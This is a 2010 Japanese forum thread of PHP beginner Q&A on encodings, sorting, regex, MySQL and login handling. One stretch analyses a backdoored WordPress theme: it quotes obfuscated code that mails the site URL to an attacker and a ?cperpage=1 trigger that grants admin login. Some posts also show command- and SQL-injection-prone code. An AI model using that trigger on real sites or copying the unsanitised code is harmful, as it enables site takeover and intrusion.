SJISだからって適切に処理すれば問題ない。出来ない人が多いからutf-8使えって言うだけで。
0364nobodyさん2010/05/05(水) 21:15:07ID:???
問題はそれだけのようです
0365nobodyさん2010/05/05(水) 21:40:04ID:???
>>363
いえ、 stripslashes を  grep 検索してみましたが見つかりませんでした。
なのでしていません。
0366nobodyさん2010/05/05(水) 21:41:37ID:???
sjisはだめってのは解決策がわからないか、解決策を考えずになんとなく
utf-8にしとこってことだろ。
適切な変換をすれば問題ない。
現にsjisをphpで出力しているサイトはいくらでもある。
0367nobodyさん2010/05/05(水) 21:44:24ID:???
レコードってことはDB使ってるのか?
DB使っててエスケープ云々で問題になってるなら怖すぎる。
0368nobodyさん2010/05/05(水) 21:46:46ID:???
適切な変換ってのが正しく出来る人なら最初からutf-8使ってるわな。
0369nobodyさん2010/05/05(水) 21:47:34ID:???
携帯サイトなんかはいまだにsjis使ってるけどな
0370nobodyさん2010/05/05(水) 21:49:33ID:???
問題は内部でsjisを使っているかどうか。
出力でsjisに変換しているようなら問題ないと思うけどな。
0371nobodyさん2010/05/05(水) 21:56:01ID:???
>>367
DBを使ってます。Mysql

因みにサーバはさくらです。

ソ に \ が勝手についてしまう事象には本当にまいってます。
2chはDBじゃなくてテキストファイルだったけ?
0372nobodyさん2010/05/05(水) 22:19:12ID:???
ドコモがいまだにUTF-8理解出来んので、携帯向けにはShift_JISを出力してる。内部はUTF-8だけど
改行は LF ONLY で統一すればいいの?
0373nobodyさん2010/05/05(水) 22:19:24ID:???
magic_quotes_gpc = OFFにしたら変わるんだから、
ONになっているということ。 まずOFFにする方がいいでしょう。\がつくのはソレ。
DBに突っ込む部分の文字の処理はまた別にやってますよね?


0374nobodyさん2010/05/05(水) 22:26:27ID:???
>>372
改行は何でもいいんでない?何か関係あったっけ。
0375nobodyさん2010/05/05(水) 23:40:48ID:???
>>373
Offにした上でDBに登録するとDBに \ がついてしまいます。
0376nobodyさん2010/05/05(水) 23:57:52ID:???
mysql_real_escape_string使ってると思いますが、
適切に処理させるためには、mysql_set_charsetでクライアント側の文字コードを設定してやる必要があります。
0377nobodyさん2010/05/06(木) 11:30:56ID:9BiR83GE
日本語の配列をソートするにはどうすればいいですか?
sortだと日本語は扱えなくて、collatorは難しくて何ができるのかよくわからなかったです
0378nobodyさん2010/05/06(木) 11:33:54ID:???
バブルソート
0379nobodyさん2010/05/06(木) 11:56:42ID:???
>>377
文字コード順のソートが嫌なら素直にcollator使ったほうが楽

$collator = Collator::create( 'ja_JP' );
$collator->sort( $arr , Collator::SORT_STRING );
0380nobodyさん2010/05/07(金) 01:28:44ID:8fN/nGNL
ちょっと概念的な質問なんですが教えてください

前スレでクラスとオブジェクトの話があったんですが、厳密には「オブジェクト」と「インスタンス」って別物だったりきますか?ずっとイコールだと思ってたんで。

あと下のレスの「並列する概念じゃない」ってのもどういう意味だろう…

74 名前:nobodyさん [sage] :2010/03/20(土) 21:37:38 ID:??
クラスとオブジェクトは並列する概念じゃねぇよ
クラスをインスタンス化したのがオブジェクト
0381nobodyさん2010/05/07(金) 02:46:13ID:???
厳密じゃなくても別物
0382nobodyさん2010/05/07(金) 02:54:58ID:???
>>380
捉え方は使っている言語や人によって違うかも。
それはオブジェクトやインスタンスという概念は、
こういうものであるという決まりが何もないから。

自分は、オブジェクトは統括的なもので、インスタンスはクラスを実体化したもの、だと思ってる。
なので、クラスとインスタンスをまとめてオブジェクトと指す場合もあったりするんじゃないかな。
0383nobodyさん2010/05/07(金) 03:32:55ID:???
僕はこんな感じで習いました
クラスは車の部品
オブジェクトは車
インスタンスは車の鍵ですね

0384nobodyさん2010/05/07(金) 05:43:23ID:???
クラスは設計図だろ
インスタンスが実車

どっちもオブジェクト
0385nobodyさん2010/05/07(金) 06:53:54ID:???
その考えは今すぐ投げ捨てた方が良いな >>383

その筋書きで言うなら、
クラスは金型
インスタンスは(金型から出てきた)部品

オブジェクトとインスタンスについては…俺はパス。
0386nobodyさん2010/05/07(金) 07:14:53ID:???
例え話はそういった誤解を招く時があるから気を付けた方がいいよな。
0387nobodyさん2010/05/07(金) 07:38:13ID:???
クラスとインスタンスはオブジェクト指向を実現するための手段じゃないの?
0388nobodyさん2010/05/07(金) 08:05:00ID:???
インスタンスとオブジェクトって同じじゃないの
0389nobodyさん2010/05/07(金) 12:10:47ID:HaF8gLhM
OS:CentOS5.4
PHP:5.1.6
system関数でpingを打ってるんですが改行コードを<br />に変換したいと思ってます。
コードはこれになります。

 $ret = system('ping -c3 '.$ping);

$retをnl2brで変換しても改行されずereg_replaceで\r|\nを正規表現で指定してもダメでした。
この場合の改行はどのように検出すればいいのでしょうか?
0390nobodyさん2010/05/07(金) 12:50:10ID:???
systemはそれ自体で出力して、
返り値は、最後の行のみ
0391nobodyさん2010/05/07(金) 13:11:42ID:y4A+Fgeb
クラスとインスタンスが対になるもので、オブジェクトはどちらも当てはまるというのが多数派のようですね
ありがとうございました
0392nobodyさん2010/05/07(金) 13:13:05ID:???
>>389
pingの結果(出力)を丸々取得して、改行を<br />に変えるだけなら

$ret = `ping -c3 localhost`;
print_r(nl2br($ret));

こんなんでどうでしょう?
0393nobodyさん2010/05/07(金) 14:23:48ID:???
http://pc11.2ch.net/test/read.cgi/blog/1264520267/
からきました。

http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
global $wpdb, $post;で検索かけてでてくる下のコードって何してるコードか
教えてもらえませんか?
同じコードが
http://www.themes2wp.com/download-free-simpleperfect-wordpress-theme
から落とせるfunction.phpにふくまれています。
これを入れると[email protected]にメールを送ろうとします。
03943932010/05/07(金) 14:25:13ID:qmvwAXR3
ID出すの忘れてました。ごめんなさい。
0395nobodyさん2010/05/07(金) 16:01:59ID:???
メール送る 以外のところなら具体的に場所示した方がいいんじゃね
何行目あたり とか function hoge とか
0396nobodyさん2010/05/07(金) 16:08:14ID:wvX4OPsC
【OS名】Windows XP
【PHPのバージョン】5.3
【連携ソフトウェア】XAMPP
【質問内容】
ログイン管理を考えて色々と試したり、検索しています。
ハッシュ化しているとはいえパスワードをセッション変数に入れて持ちまわるのは良くないという記述を見かけます。
とすると、どういうふうにログイン状態を管理すべきなのでしょう?

$_POSTされたIDとパスワードをDBなどの情報と照合する
ログインできたらセッションIDをregenerateして、例えば$_SESSION['is_login'] = 1;みたいなかんじでログインできていることを示す変数を用意する。

念の為にIDもセッションに入れておく?

>>310にもあるように、必要なときにパスワードの再入力を促す。
それ以外はログイン済みかどうかというフラグと、ログインIDの有無だけでチェックする。

とか?
03973932010/05/07(金) 16:24:34ID:qmvwAXR3
↓だと111行目
http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/

http://www.themes2wp.com/download-free-simpleperfect-wordpress-themeから落としてきたコードだと
457行目です。
↓の一行です。長いので改行しています。
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID,
comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN
$wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND
comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr.
"@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >=
CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
0398nobodyさん2010/05/07(金) 17:13:34ID:8aUTct47
>>397
457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う

次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option("home")の値を本文としてメールを発射する処理

仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET["cperpage"], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?

wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人
0399nobodyさん2010/05/07(金) 17:40:20ID:???
巧妙に埋め込まれてるな…怖い怖い
0400nobodyさん2010/05/07(金) 17:50:54ID:???
>>397
今落としてみたらそのコード入ってなかったよ
落とした時点で入ってた?
設置したサーバが感染してるかもしれんよ

>>398
[email protected]で検索してヒットしたページは
誰でも認証済みになるとかなのかな・・
04013932010/05/07(金) 18:38:21ID:qmvwAXR3
>>398
詳しく説明していただいてありがとうございます。
悪用できそうなブログページを集めているという事でしょうか?

>>399
同感です。鯖の設定含めて安易な機能拡張は危険ですね。

>>400
>落とした時点で入ってた?
そのはずです。
今もう一度落としたらはいってたので間違いないと思います。
cdce4060a12b203d28d2ca1471225cb0.zip
というファイルがダウンロードされて中のSimplePerfectディレクトリ以下の
function.php(457行目)というファイルに該当の記述があります。
サーバ上で解凍してもWindows機で解凍しても同じっぽいのでたぶん、もともとだと思います。

>設置したサーバが感染してるかもしれんよ
一応Webのディレクトリは0から作り直したので大丈夫だと思います。
でも、ちょっと怖いです。。



0402nobodyさん2010/05/07(金) 19:01:31ID:???
>>401
もう一度ダウンロードしたら入ってたわ
同じサイトの他のテーマも入ってるみたい
しかしよく見つけたな
0403nobodyさん2010/05/07(金) 19:01:49ID:8aUTct47
>>397
このテーマ使ってるサイトは
http://URL/?cperpage=1
にアクセスするだけで誰でもadminでログイン状態になれるぽい
要は管理権限乗っ取りテーマ
真っ黒でした

>>400は他のサイトにある汚染前のコードを見たんじゃない?
04043932010/05/07(金) 19:12:47ID:qmvwAXR3
>>402
インストールしてこのコード実行されてから気づいたので、見つけたタイミング的には完全にアウトでした。
テーマを入れる
↓
サーバのメールキューをみる。
↓
配送されてないメールがある。(OB25でひっかかってた。)
↓
@で関係ありそうなphpファイルをgrepかける。
↓
分割されたメールアドレス発見。
04053932010/05/07(金) 19:17:35ID:???
>>403
ドキドキしながら試してみました。
別クライアントで試したのですが、普通にブログトップが表示されただけでした。
よかったです。感謝です。
0406nobodyさん2010/05/07(金) 19:26:51ID:8aUTct47
>>393
いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示

そのあとにここへ
http://URL/wp-admin/

ちなみにログイン状態は2週間有効ぽい
04073932010/05/07(金) 19:41:44ID:???
>>406
セーフでした。でも、怖い。
0408nobodyさん2010/05/07(金) 20:19:04ID:???
>>391
インスタンスをオブジェクトと呼ぶのは分かるけどクラスとオブジェクトは別物でしょ
0409nobodyさん2010/05/07(金) 21:20:51ID:VMqH6m/q
http://favotter.net/
ふぁぼったー

このサイトってどんな仕組みなの?
サーチエンジンとか調べれば分かるかな?

同じような仕組みのサイトを作りたいと思ってるんで
なにかヒントでもあれば

0410nobodyさん2010/05/07(金) 21:37:31ID:???
>>408
単に別物とだけ言われても分からんから説明してよ。
0411nobodyさん2010/05/08(土) 00:25:18ID:???
お
0412nobodyさん2010/05/08(土) 00:36:37ID:???
>409
twitterで作者に聞いてみればいいんじゃね
0413nobodyさん2010/05/08(土) 00:38:26ID:NbVWnISJ
【OS名】CentOS
【PHPのバージョン】5.2
【質問内容】
MYSQLとの連携で、質問させてください。
$_GET ["id"]を取得してSELECT * FROM account WHERE uid = $idで
一致の場合のみ、続きへ…という流れのプログラムを組んでます。
上記の場合、結果が見つからない場合の戻り値はNULLになるんでしょうか。
SELECT文の結果をechoしてもResource id #6と出てきてお手上げ状態です。
0414nobodyさん2010/05/08(土) 02:06:22ID:???
>>413
返値が resource って,id があった場合でも同じだろw
fetch とかで結果のresourceから値を取り出さなきゃ分からんと思う

ちなみにそのケースなら
SELECT COUNT(uid) cnt
FROM account
WHERE uid = $id
がいいと思う

あとプリペアドステートメント使おうな
0415nobodyさん2010/05/08(土) 02:29:56ID:???
リファレンスで使ってる関数の引数と戻り値を調べなよ
0416nobodyさん2010/05/08(土) 11:32:45ID:NbVWnISJ
>>414
ありがとうございます。
mysql_fetch_assoc等で値を取り出さないとダメってことですね。
例で出していただいた、構文についてもCOUNT使うということで勉強になりました。
0417nobodyさん2010/05/08(土) 12:12:22ID:C2BBFFWm
extension_dirの変更かカレントディレクトリのDLLをdl()で読み込むことは可能ですか。
php.iniの書き換えは無しで。
0418nobodyさん2010/05/08(土) 12:34:50ID:???
可能です。
0419nobodyさん2010/05/08(土) 12:52:29ID:C2BBFFWm
>>418
やり方教えてください
0420nobodyさん2010/05/08(土) 13:29:40ID:???
PHPでSQL Server Compact(.sdf)を取り扱ってるサンプルなどがあったら教えてください
0421nobodyさん2010/05/08(土) 14:55:01ID:???
SQLiteの利用をおすすめします
0422nobodyさん2010/05/08(土) 15:25:27ID:???
>>421
既存のものがあるので……
0423nobodyさん2010/05/08(土) 16:54:38ID:C2BBFFWm
extension_dirを動的に変更する方法か
dl()でカレントディレクトリのDLLを読み込む方法教えてください。
0424nobodyさん2010/05/08(土) 19:52:43ID:???
>>423
dl関数ではカレントディレクトリはたぶん無理。
というか、extension_dirからしか無理だったと思う。
php.iniがいじれない理由は?
0425nobodyさん2010/05/08(土) 22:34:13ID:???
htaccess なら行けるかも・・
0426nobodyさん2010/05/08(土) 22:38:13ID:???
いやインクルードするディレクトリは変更出来ても
拡張はサーバ起動時に読み込まれるから後から変更はできないよ
0427nobodyさん2010/05/08(土) 22:44:02ID:???
モジュールphpに制限がかかってるという理由なら
htaccessでCGIに変更できるなら可能性はあるかもしれない。
phpの-cオプションでphp.iniを渡せばいけるかも。
0428nobodyさん2010/05/09(日) 01:27:09ID:???
phpで正規表現を使用してスマートに文字列を加工したいと思っています。

例えば日付で

20100508

という文字列を見つけた場合に

2010-05-08

と「-(ハイフン)」を自動で挿入するにはどういうコードを書けばよいでしょうか?
0429nobodyさん2010/05/09(日) 02:17:23ID:???
>>428
後方参照
0430nobodyさん2010/05/09(日) 02:18:53ID:???
>>428
print_r(strftime("%Y-%m-%d", strtotime("20100508") ));
http://ideone.com/Lbv0Y
0431nobodyさん2010/05/09(日) 02:33:54ID:Xcu8pyMU
if(!empty($data)) と if($data) はどちらも$dataの中身があるかないかを
チェックできると思うのですが、どちらを使ってもよいのでしょうか?
0432nobodyさん2010/05/09(日) 02:42:32ID:???
>>431
if(!empty($data)) はお勧めしない、
条件文の最初に否定を付けるのはあまり宜しくない
0433nobodyさん2010/05/09(日) 02:51:23ID:Xcu8pyMU
>>432

レスありがとうございます!

よろしければ、オススメしない理由を教えて頂けないでしょうか?
0434nobodyさん2010/05/09(日) 02:59:27ID:???
>>432
どうして?

>>431
結果は同じだろうけど !empty() の方が関数呼び出しとかで
オーバーヘッドは大きいはず。そもそも見づらい。

別にルールがあるんじゃなければ自由に書いたらいいと思うけど
見た感じで文字列と仮定して,自分なら
if (0 < strlen($data))
かな
true === is_string($data)
もケースで併せるかも
04354342010/05/09(日) 03:00:10ID:???
関数2回呼ぶけどね!!
0436nobodyさん2010/05/09(日) 03:01:29ID:???
>>433
プログラミング作法1.2文と式より
p23
自然な形の式を使おう。式は自分で音読するつもりで書こう。条件式に否定が含ま
れていると間違いなく分かりづらくなる。
0437nobodyさん2010/05/09(日) 03:03:20ID:???
>>430
ありがとうございます。

やっぱりちまちま substr なんかでやるよりも正規表現でやった方がカッコ良いですね。
04384312010/05/09(日) 03:04:08ID:Xcu8pyMU
皆様ありがとうございます。
参考になりました。
0439nobodyさん2010/05/09(日) 03:23:06ID:???
>>437
>430 は正規表現使ってないぞ
0440nobodyさん2010/05/09(日) 04:45:20ID:???
>例えば日付で
>
>20100508
>
>という文字列を見つけた場合に
と書かれてるんですがstrtotimeで文字列見つけられるんですね
0441nobodyさん2010/05/09(日) 04:47:29ID:???
>>440
http://jp.php.net/manual/ja/function.strtotime.php
0442nobodyさん2010/05/09(日) 05:23:48ID:???
見つけられる?
文字列中に含まれる場合の話か?

([^\d])(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d]), $1$2$3-$4-$5$6

でどうだ!
酔ってる上にテストも何もしてない。今も反省してない。
0443nobodyさん2010/05/09(日) 05:36:57ID:???
やっぱ気になったからテストした
こっちで

preg_replace('#([^\d])?(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d])?#', '$1$2$3-$4-$5$6', $data);

0444nobodyさん2010/05/09(日) 05:44:51ID:???
>443じゃ 2010-19-39 とかダメだなw

preg_replace('#([^\d])?(19|2\d)(\d{2})(0[\d]|1[012])([012]\d|3[01])([^\d])?#', '$1$2$3-$4-$5$6', $str);

2/31 とかはもう知らない!
0445nobodyさん2010/05/09(日) 06:57:07ID:???
せっかくの休みなんだ
穴だらけの正規表現式作るぐらいならゆっくり寝ててくれ
0446nobodyさん2010/05/09(日) 07:30:17ID:???
うるせー
休みだから朝まで飲んでんだYO 放っとけ

日付の検証まですんなら preg_match で配列にぶち込んで
checkdate() かけろや
市ね
0447nobodyさん2010/05/09(日) 08:40:25ID:???
echo preg_replace_callback('/(?<!\d)(19\d{2}|20(?:0\d|10))((?:0[13578]|1[02])(?:0[1-9]|[12]\d|3[01])|02(?:0[1-9]|[12]\d)|(?:0[469]|11)(?:0[1-9]|[12]\d|30)))(?!\d)/', function($matches) {
    return $matches[1] .'-'. substr($matches[2], 0, 2) .'-'. substr($matches[2], 2, 2);
}, $string);
0448nobodyさん2010/05/09(日) 13:14:50ID:???
July 1, 2010とかはどうするのさw
0449nobodyさん2010/05/09(日) 13:18:16ID:???
Wed 20 May 2010
0450nobodyさん2010/05/09(日) 14:29:40ID:???
正規表現スレじゃねーぞ
0451nobodyさん2010/05/09(日) 14:32:48ID:???
>>448
>>428のどこに書いてある?ほんと馬鹿じゃねーの
0452nobodyさん2010/05/09(日) 14:38:58ID:???
>>443
>>444
>>447
穴だらけ
ゴミ
0453nobodyさん2010/05/09(日) 14:40:09ID:aP6EP8RP
ゴミと指摘できるならゴミじゃない例をちょっとだけでいいから見せてくれよ
つ〜か正規表現スレでやってくれ
0454nobodyさん2010/05/09(日) 14:53:03ID:???
>>452
コードも貼らずにそう書かれてもな
お前が一番このスレには不要なんだよゴミ
0455nobodyさん2010/05/09(日) 15:05:49ID:???
正規表現スレでどうぞ
0456nobodyさん2010/05/09(日) 16:29:46ID:???
たかが正規表現で何必死になってる?
正気か?
0457nobodyさん2010/05/09(日) 18:55:16ID:???
まさか日付の話しからこんな流れになると誰が想像しただろうか。
0458nobodyさん2010/05/09(日) 20:42:38ID:???
はい、ここまで。
0459nobodyさん2010/05/10(月) 01:09:53ID:vRmaBKnV
preg_matchをつかって
1から150までにマッチするかどうかの書き方教えてください
preg_match('ここがわかりません', $_GET['item'])
0460nobodyさん2010/05/10(月) 01:21:03ID:???
華麗にスルー
0461nobodyさん2010/05/10(月) 01:23:50ID:vRmaBKnV
スルーすんなカスが
0462nobodyさん2010/05/10(月) 01:27:37ID:???
http://jp.php.net/manual/ja/function.preg-match.php
0463nobodyさん2010/05/10(月) 01:37:29ID:JCaE/ZFe
>>35 の効果が面白かったんでいろいろ実験してたんだけど、
header('Content-type: text/plain') と投げたあとだとうまく行かない。
"html"だとうまく行く。plainのときは制限されてる?
PHP Version 5.2.9
Mac OS/ Apache 2.0 です
0464nobodyさん2010/05/10(月) 01:41:02ID:???
>>461
なんでもかんでも正規表現で解決しようとする事が間違ってる
$i = (int)trim($_GET['item']);
if($i>=1 && $i<=150){
echo "OK";
}
みたいな感じでいいじゃないかカスが
0465nobodyさん2010/05/10(月) 01:56:35ID:???
はーい
0466nobodyさん2010/05/10(月) 01:57:37ID:???
またnoobがいんのか
0467nobodyさん2010/05/10(月) 02:00:18ID:???
01とか001をOKにしたくない場合はどうすればよいでしょう?
0468nobodyさん2010/05/10(月) 02:09:05ID:???
ゼロがあったらNOにすればいい
0469nobodyさん2010/05/10(月) 02:20:37ID:???
これでどうかな?

$s = trim($_GET['item']);
$i = (int)$s;
if((string)$i === $s && $i>=1 && $i<=150){
echo "OK";
}
0470nobodyさん2010/05/10(月) 03:11:53ID:cklWnYDy
よくある”ログイン情報を保存”というチェックボックスを作りました。
クッキーの保存期間は出来る限り長くしようと安直に考えて、1年とかにしました。

クッキーの保存期間はどの程度の長さにすればよいか、目安となる考え方はあるでしょうか?

単純に開発者視点では長ければ長いほどよいのではと考えちゃっています。
0471nobodyさん2010/05/10(月) 03:36:43ID:???
>>470
目安はサイトの内容とかによるのかもしれないけど、ユーザーの負担にならない程度の利便性と安全性で考えた方がいいのかも。

後は、クッキーに認証情報を保存している訳ではないと思うので、DB等から参照する時のコストも含めてという感じ?
30日程度が多いような気もする。
0472nobodyさん2010/05/10(月) 09:20:38ID:???
PHPでDOMを扱いたい場合、DOMDocumentが主流ですか?
調べてみたところselectSingleNodeが無いのですが
自作するしかないでしょうか?
0473nobodyさん2010/05/10(月) 09:35:52ID:???
IDだせ
0474nobodyさん2010/05/10(月) 09:39:08ID:???
PHP5以上ならSimpleXMLが多いと思うよ。
0475nobodyさん2010/05/10(月) 09:45:26ID:???
ありがとうございます。SimpleXMLを調べてみます。
0476nobodyさん2010/05/10(月) 10:16:57ID:???
>>475

スレも読めない奴は二度と来るな
0477nobodyさん2010/05/10(月) 10:17:39ID:???
>>475
おい
わかってんのか? IDだせよカス
0478nobodyさん2010/05/10(月) 10:21:43ID:???
すみませんでした、もう来ないと思いますが次回からは出します
0479nobodyさん2010/05/10(月) 10:57:59ID:cklWnYDy
>>472

ありがとうございます。参考になります。
0480nobodyさん2010/05/10(月) 10:59:43ID:???
このスレは優しい人ばかりで大好きです
0481nobodyさん2010/05/10(月) 11:58:25ID:???
あ?あんま調子こくなよ
0482nobodyさん2010/05/10(月) 12:56:42ID:???
>>477 >>481
おまえ、甘やかしすぎだろ。無視しろよ。
0483nobodyさん2010/05/10(月) 13:10:37ID:???
>>459
/^([1-9]\d?|1[0-4]\d|150)$/
0484nobodyさん2010/05/10(月) 14:30:04ID:???
phpのmysql_connect()関数が使えません。
環境は、
windows7
Apache2.2
PHP5.1
mysql server 5.1
です。
普通のphpファイルは開けるのですが、
mysql_connect()を使うとブラウザでページを表示できなくなります。
なぜでしょうか?
0485nobodyさん2010/05/10(月) 14:31:54ID:???
host: "localhost"
user: "root"
です。
パスは間違えてないはずです。
0486nobodyさん2010/05/10(月) 14:40:20ID:???
>>484-485
IDだして

エラーログには何てでてる?
あとphpinfo()でmysqlに関する項目はでてくる?
0487nobodyさん2010/05/10(月) 14:42:13ID:???
拡張モジュールが設定されてないんじゃないかな?
php.iniでphp_mysql.dllを有効にしてある?
0488nobodyさん2010/05/10(月) 14:43:34ID:???
>>487
自演おつ
0489nobodyさん2010/05/10(月) 22:56:36ID:???
>>486
出てきません。
php_mysql.dllは有効にしてあるはずなんですが。
ちょっと気になったのは、何故かServer APIのところが
Apache 2.0Handlerになってます。
0490nobodyさん2010/05/11(火) 00:51:02ID:3yly6Isz
ちょっとすみません。。。
掲示板作ってるんですけど
改行規制しようと思ってます。

基本的に文字列末尾の改行はカウントせず、
先頭に改行が来たときだけカウントします。

$commentという変数に受け取った場合、
$n_count = preg_match_all('/\n/',$comment,$n_count_data);
このようにすると全改行をカウントしてしまいますので、
$n_count = preg_match_all('/^\n/',$comment,$n_count_data);
このようにしました。

ですがいくらやってもカウントが0になってしまい
まったく改行対策になってませんww

文字列の先頭に改行が来たときの正規表現(パターンマッチ)は
^\n
で間違ってるということですよね?

正解はどうなるのですか?
0491nobodyさん2010/05/11(火) 01:32:36ID:???
空行の数によって規制したいってことなん?
0492nobodyさん2010/05/11(火) 01:39:02ID:3yly6Isz
>>491
空行っていうか・・・

[例]
-----------------------------
こんにちは。

これはテストです。



-----------------------------
こうやって入力された場合は
4とカウントしたいのです。
0493nobodyさん2010/05/11(火) 01:55:40ID:???
>>492
$comment = "こんにちは。\n\nこれはテストです。\n\n\n\n";
echo preg_match_all('/^\n/m', $comment, $n_count_data);
0494nobodyさん2010/05/11(火) 02:00:41ID:3yly6Isz
>>493
すみません。
せっかく教えていただいたのですが、
カウントが0になっていました・・・・
0495nobodyさん2010/05/11(火) 02:07:18ID:???
493をそのまま試しても 0 だったの?
改行が \n でないと 0 になるけどその辺はごにょごにょしてください。
0496nobodyさん2010/05/11(火) 02:10:12ID:3yly6Isz
>>495
そのままやってみました。。。
できなかったので
一応
^\n|^\r\n|^\r
も試してみました
0497nobodyさん2010/05/11(火) 02:18:12ID:???
test
0498nobodyさん2010/05/11(火) 02:36:41ID:BXaHyUk7
「.htaccess」のように、拡張子のみのファイルが作成できません。

OSはWindows XP です。
ぐぐったら、ダブルクォテーションで囲めとあったのですが出来ませんでした。
「ファイル名を入力してください」と警告が出てしまいます。

拡張子のみのファイルを作成するにはどうすればいいのでしょうか?
よろしくお願いします。
0499nobodyさん2010/05/11(火) 02:40:11ID:3yly6Isz
>>498
最初に適当にファイル名を付けてから
FTPにぅpしてその中でファイル名変更で拡張子だけにする
0500nobodyさん2010/05/11(火) 03:02:49ID:???
普通に作れるでしょ

touch(".htaccess");
0501nobodyさん2010/05/11(火) 03:15:29ID:???
ていうかそれPHPの質問じゃないだろw
PC初心者板みたいなとこがあれば池といいたいところだが教えてやろう
メモ帳開いて名前をつけて保存→ファイルの種類をテキスト文書からすべてのファイルに変更して保存する
0502nobodyさん2010/05/11(火) 04:15:57ID:???
>>499-501 レスありがとうございます!
501のやり方で無事できました。
0503nobodyさん2010/05/11(火) 12:48:50ID:UaSvlPAa
新人のお勉強で掲示板作らせたんだけど次は何作らせればいいと思う?
0504nobodyさん2010/05/11(火) 12:53:27ID:???
>>503
ひまわり動画みたいなの
0505nobodyさん2010/05/11(火) 12:57:48ID:???
>>503
やらせたい仕事
0506nobodyさん2010/05/11(火) 14:09:49ID:UaSvlPAa
>>504
そこまでじゃなくて掲示板とひまわり動画の中間くらいのでいいのないかな

>>505
いま金融関係やってるのでちょっと無理っす。すいません。
0507nobodyさん2010/05/11(火) 14:37:30ID:???
>>506
cakephp使わせるとか
0508nobodyさん2010/05/11(火) 14:39:23ID:???
>>506
先々金融がからむんだったらローン返済シミュレーションとか
0509nobodyさん2010/05/11(火) 14:39:35ID:???
wiki!
0510nobodyさん2010/05/11(火) 14:48:57ID:mxr2aBPR
時刻同士の演算ってどうやるのがかっこいいかな
"20:30:30"-"18:30:30"=7200秒、みたいな
適当な年月日つけて秒に直すしかないかな?
0511nobodyさん2010/05/11(火) 14:54:39ID:???
>>510
strtotime('20:30:30') - strtotime('18:30:30')

かっこいいかどうかは知らない
0512nobodyさん2010/05/11(火) 17:36:49ID:???
>>503
Webメールとかよさげじゃね
sendmailとかsqlとか使って
0513nobodyさん2010/05/11(火) 17:38:02ID:???
Arduinoがいいんじゃね?
0514nobodyさん2010/05/11(火) 17:50:13ID:UaSvlPAa
みなさんありがとう。
Webメールとかちょうどいいかもしれないです。
sqlとかと併せてDBも勉強させればいいかな。
ちょっとその方向でやらせてみます。
0515nobodyさん2010/05/11(火) 19:37:29ID:???
作らせるだけじゃなくて論理的な勉強会開けよ
Webで一番重要なのはセキュリティだしその辺もな
あんまゆとりを多く生み出さないでくれ
0516nobodyさん2010/05/11(火) 20:21:50ID:3JPUIqXp
論理的な勉強も必要ですが、その論理を理解するのに必要な最低限のスキルを先に身につけてもらおうかと。
勉強会で全ての項目でいちいち説明してたら進まないですから。
まぁ実際に最初にそういうの開いて最初に何か作らせて見たほうがいいという結論になったので色々と作らせてます。
05174842010/05/11(火) 21:21:00ID:???
やっぱりつながりません…。
なんでか分からないでしょうか?
0518nobodyさん2010/05/11(火) 21:57:06ID:???
実際なにか作りながら楽しさを教えるのもいいんだが
基礎の部分をしっかりと教えておいたほうが
後々差がで出てくる気がする。
0519nobodyさん2010/05/11(火) 22:03:15ID:???
>>517
phpinfoでmysqlの項目が出ないのなら、
mysqlの拡張モジュールが読み込まれてない。答え出てるやん。
0520nobodyさん2010/05/12(水) 00:22:23ID:???
PHP以外の言語を勉強させたら?
今からやる言語ならわざわざPHP選ぶ必要ないんじゃ
慣れてしまう前にPythonやRubyなどの言語仕様がまともなものに切り替えれば
0521nobodyさん2010/05/12(水) 01:10:56ID:???
まずは日本語からかな
0522nobodyさん2010/05/12(水) 01:45:44ID:???
>>520
覚えて無駄になることはない。
いろんな言語やって困るのは 文字列の長さ求めるのはなんだったっけというので悩むぐらいだわ。
0523nobodyさん2010/05/12(水) 13:41:31ID:A9U/FhEp
PHPがナンバーワン
他のスクリプト言語と大差はない
サーバーの対応数が段違い
0524nobodyさん2010/05/12(水) 15:17:24ID:???
>>523
対応数はPerlのが上じゃない?OSインスコの流れから考えても。
0525nobodyさん2010/05/12(水) 15:25:02ID:A9U/FhEp
CGI対応サーバーならPHP対応だが。
その逆は必ずしもないだろ。
動的プログラムで一番の普及率は間違いなし。
0526nobodyさん2010/05/12(水) 15:30:30ID:???
あ、CGIといえばPHPっていう時代になってんの?
0527nobodyさん2010/05/12(水) 15:33:44ID:???
CGI対応をうたっている所ならPHPも対応している場合が多い
だが、PHP対応をうたっていてもCGI対応しているとは限らない

と言いたいのでは無いかと。

個人的にはレン鯖使わないからどうでもいいが。
0528nobodyさん2010/05/12(水) 15:35:32ID:A9U/FhEp
ちがうが。
サーバーサイドプログラムとしてCGIが使えるなら
ほぼPHPモジュールも動くと言うこと。
PHPが動いてもCGI(Perl)も使えるとは限らない。
0529nobodyさん2010/05/12(水) 15:38:43ID:???
なんだと!
0530nobodyさん2010/05/12(水) 15:42:33ID:???
世界が震撼するな
0531nobodyさん2010/05/12(水) 15:44:47ID:???
httpdを限定してすまないが、apacheとmod_cgiの設定をして、phpが動かない環境は多々あれど、
perlが動かない環境ってあるのかね。
